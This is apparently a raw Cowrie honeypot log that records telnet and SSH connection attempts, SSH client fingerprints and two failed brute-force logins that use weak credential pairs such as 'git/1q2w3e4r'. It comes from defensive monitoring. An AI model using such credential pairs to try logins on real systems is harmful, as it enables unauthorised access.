{"eventid":"cowrie.session.closed","duration":30.687721967697144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.064524Z","src_ip":"64.237.60.107","session":"a7010170cb41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7351815700531,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.075877Z","src_ip":"64.237.60.107","session":"f5cd79f2d608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39540,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8da923e06a","protocol":"telnet","message":"New connection: 45.77.199.58:39540 (10.17.0.5:23) [session: fd8da923e06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.136969Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":34718,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b695d96f77c","protocol":"telnet","message":"New connection: 64.237.60.107:34718 (10.17.0.5:23) [session: 4b695d96f77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.276057Z"}
{"eventid":"cowrie.session.closed","duration":31.119195222854614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.518265Z","src_ip":"64.237.60.107","session":"f4d899e5beda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36994504928589,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.653897Z","src_ip":"64.237.60.107","session":"bf7f3bf281e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68392252922058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:16.867027Z","src_ip":"64.237.60.107","session":"fd7cd44d1d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70118761062622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.004607Z","src_ip":"64.237.60.107","session":"228868c164f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":37502,"dst_ip":"159.203.135.109","dst_port":22,"session":"024d5e63717f","protocol":"ssh","message":"New connection: 45.232.73.84:37502 (159.203.135.109:22) [session: 024d5e63717f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.046648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.055611Z","src_ip":"45.232.73.84","session":"024d5e63717f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.185337Z","src_ip":"45.232.73.84","session":"024d5e63717f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.088619470596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.207549Z","src_ip":"64.237.60.107","session":"2997d6b2add7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331261157989502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.530233Z","src_ip":"64.237.60.107","session":"bfbabc92c517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.531875133514404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.667925Z","src_ip":"64.237.60.107","session":"478d4ccd6741","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"1234qwer","message":"login attempt [elasticsearch/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.677754Z","src_ip":"45.232.73.84","session":"024d5e63717f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.694363117218018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:17.991670Z","src_ip":"64.237.60.107","session":"dc6882732e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43958806991577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:18.039468Z","src_ip":"64.237.60.107","session":"4f338205ca7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.344831943511963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:18.131660Z","src_ip":"64.237.60.107","session":"da7db8e6a6c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.719839572906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:18.182323Z","src_ip":"64.237.60.107","session":"6776c9b0fbea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99778914451599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:18.700753Z","src_ip":"64.237.60.107","session":"2a20d07f1564","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:18.809515Z","src_ip":"45.232.73.84","session":"024d5e63717f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.627640962600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.029938Z","src_ip":"45.77.199.58","session":"1a6a8e3f497d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdde206d70e4","protocol":"telnet","message":"New connection: 64.237.60.107:54448 (10.17.0.5:23) [session: bdde206d70e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.133669Z"}
{"eventid":"cowrie.session.closed","duration":30.90268611907959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.228935Z","src_ip":"64.237.60.107","session":"05f2c66300d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055408239364624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.244505Z","src_ip":"64.237.60.107","session":"5a87523d2e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39544,"dst_ip":"10.17.0.5","dst_port":23,"session":"0db9e4cfa607","protocol":"telnet","message":"New connection: 45.77.199.58:39544 (10.17.0.5:23) [session: 0db9e4cfa607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.306394Z"}
{"eventid":"cowrie.session.closed","duration":31.085001230239868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.427636Z","src_ip":"64.237.60.107","session":"4eaa2aa501cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43360924720764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.842304Z","src_ip":"64.237.60.107","session":"1061ae9d3aef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1467707157135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:19.872787Z","src_ip":"64.237.60.107","session":"345a81b40e0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"60836fcccf08","protocol":"telnet","message":"New connection: 64.237.60.107:54458 (10.17.0.5:23) [session: 60836fcccf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:20.189661Z"}
{"eventid":"cowrie.session.closed","duration":31.33444595336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:20.443304Z","src_ip":"64.237.60.107","session":"69f1850065d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54468,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b69badddc93","protocol":"telnet","message":"New connection: 64.237.60.107:54468 (10.17.0.5:23) [session: 5b69badddc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:20.456702Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":15064,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa3585a921b","protocol":"ssh","message":"New connection: 152.32.163.183:15064 (10.17.0.5:22) [session: 5fa3585a921b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:20.596268Z"}
{"eventid":"cowrie.session.closed","duration":30.731396913528442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:21.016492Z","src_ip":"64.237.60.107","session":"acf0c7770fe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.032586336135864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:21.193033Z","src_ip":"64.237.60.107","session":"cf0ec8b61fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175966262817383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:21.396338Z","src_ip":"64.237.60.107","session":"b3d92a7b92de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97362470626831,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.010129Z","src_ip":"64.237.60.107","session":"fd2dd0be3dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69888663291931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.060395Z","src_ip":"64.237.60.107","session":"7094e21de4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694727420806885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.116037Z","src_ip":"64.237.60.107","session":"1d8913102919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765500783920288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.122633Z","src_ip":"64.237.60.107","session":"13aa91714feb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689212560653687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.170867Z","src_ip":"64.237.60.107","session":"06dc467eda61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b496d3515b6c","protocol":"telnet","message":"New connection: 64.237.60.107:54480 (10.17.0.5:23) [session: b496d3515b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.362023Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f430f3787ea4","protocol":"telnet","message":"New connection: 64.237.60.107:54492 (10.17.0.5:23) [session: f430f3787ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.392128Z"}
{"eventid":"cowrie.session.closed","duration":31.168302059173584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.455858Z","src_ip":"64.237.60.107","session":"f47258e59857","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.623450Z","src_ip":"152.32.163.183","session":"5fa3585a921b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.60420799255371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.750568Z","src_ip":"64.237.60.107","session":"325540688b71","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:22.863068Z","src_ip":"152.32.163.183","session":"5fa3585a921b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":39556,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b59046287f","protocol":"telnet","message":"New connection: 45.77.199.58:39556 (10.17.0.5:23) [session: 78b59046287f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.125692Z"}
{"eventid":"cowrie.session.closed","duration":30.19858407974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.164863Z","src_ip":"64.237.60.107","session":"651f41e77a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08806800842285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.196624Z","src_ip":"64.237.60.107","session":"899a2f17a220","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028731107711792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.334187Z","src_ip":"64.237.60.107","session":"f962081f1801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971687078475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.340306Z","src_ip":"64.237.60.107","session":"b388f647f1e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224865436553955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.452564Z","src_ip":"64.237.60.107","session":"24cb983c6f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153221368789673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.527259Z","src_ip":"64.237.60.107","session":"a947d43cd2b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.782442092895508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.863945Z","src_ip":"64.237.60.107","session":"e34090af5b37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git","password":"1q2w3e4r","message":"login attempt [git/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:23.870769Z","src_ip":"152.32.163.183","session":"5fa3585a921b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.677656650543213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.026465Z","src_ip":"45.77.199.58","session":"f2788718f02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673614025115967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.032719Z","src_ip":"64.237.60.107","session":"301be777f0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9988055229187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.136281Z","src_ip":"64.237.60.107","session":"b80f136f502b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85477089881897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.190904Z","src_ip":"64.237.60.107","session":"6fe1984f7939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"015b1ce7cc1e","protocol":"telnet","message":"New connection: 64.237.60.107:54494 (10.17.0.5:23) [session: 015b1ce7cc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.272605Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d5d4a058766","protocol":"telnet","message":"New connection: 45.77.199.58:52638 (10.17.0.5:23) [session: 7d5d4a058766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:24.993601Z"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:25.116985Z","src_ip":"152.32.163.183","session":"5fa3585a921b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.851691007614136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:25.389844Z","src_ip":"64.237.60.107","session":"7a4a5f2051f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860905647277832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:25.546890Z","src_ip":"64.237.60.107","session":"77e4801a1c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.77.199.58","src_port":52640,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5228f527940","protocol":"telnet","message":"New connection: 45.77.199.58:52640 (10.17.0.5:23) [session: c5228f527940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:25.769350Z"}
{"eventid":"cowrie.session.closed","duration":30.687009811401367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:26.077285Z","src_ip":"64.237.60.107","session":"1a86ea08dd29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.583406686782837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:26.111067Z","src_ip":"64.237.60.107","session":"d1ed9554b494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436888694763184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:27.148798Z","src_ip":"64.237.60.107","session":"57f9fe639946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002387046813965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.080392Z","src_ip":"64.237.60.107","session":"1d96beb4f521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.237.60.107","src_port":35280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5998688fd029","protocol":"telnet","message":"New connection: 64.237.60.107:35280 (10.17.0.5:23) [session: 5998688fd029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.165055Z"}
{"eventid":"cowrie.session.closed","duration":30.701506853103638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.395590Z","src_ip":"64.237.60.107","session":"475565c9921d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46366047859192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.468345Z","src_ip":"64.237.60.107","session":"a6176c5fb60c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.571252822875977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.957039Z","src_ip":"64.237.60.107","session":"60caf1228a85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57234501838684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:28.962780Z","src_ip":"64.237.60.107","session":"06df0b607e41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880407094955444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:29.019528Z","src_ip":"64.237.60.107","session":"cbfeaa1eb3f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35148811340332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:29.952041Z","src_ip":"64.237.60.107","session":"a1e9589c40b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637039184570312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:15:30.119031Z","src_ip":"64.237.60.107","session":"82b2a09219a6","protocol":"telnet"}
